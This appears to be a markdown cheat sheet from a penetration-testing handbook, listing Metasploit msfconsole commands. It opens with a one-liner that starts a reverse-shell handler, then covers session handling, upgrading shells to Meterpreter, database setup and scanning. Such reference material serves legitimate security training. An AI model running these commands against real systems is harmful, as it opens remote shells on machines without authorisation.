handbook/tools/4.Exploitation/Metasploit/Commands/1.MSFconsole.md
2024-08-31 01:07:22 +02:00

1.8 KiB

Top Commands

One Liner Meterpreter

msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST IP; set LPORT PORT;exploit"

MSFconsole

#General

msfconsole                  ---> Start Metasploit
clear                       ---> Clear chat
help                        ---> Help info
use (x)                     ---> Use payload
search                      ---> Search payload

#Payload

set                         ---> Set element in the payload
unset                       ---> Unset element from the payload
setg                        ---> Set element (will stay on all payload until closed)
unsetg                      ---> Remove all element set from the other action
info                        ---> Check info about the payload
show options                ---> Show options you need to set to launch the payload
show payload
set payload
exploit/run                 ---> Exploit
	exploit -z              ---> Exploit in background (or type CTRL Z)
sessions                    ---> Search the sessions
	sessions -i             ---> Connect to the first session that is enable
background                  ---> Backgrounds the current session

#Payload (POST)

sessions -u NUMBER          ---> Turn Shell into Meterpreter session

#Others

systemctl start postgresql
msfdb init
db_status
workspace /-h/-a/-d (Help / View / Add / Delete)
help (Different then the normal help when launched with database)
db_nmap -X IP (Launch Nmap)
hosts /-h/ (reach information relevant to hosts and services running on target systems)

Payload Settings

LHOST eth0 (ex)         ---> Set Local Host (Attacker)
LPORT                   ---> Set Local Port (Attacker)
RHOST                   ---> Set Remote Host (Target)
RPORT                   ---> Set Remote Port (Target)
...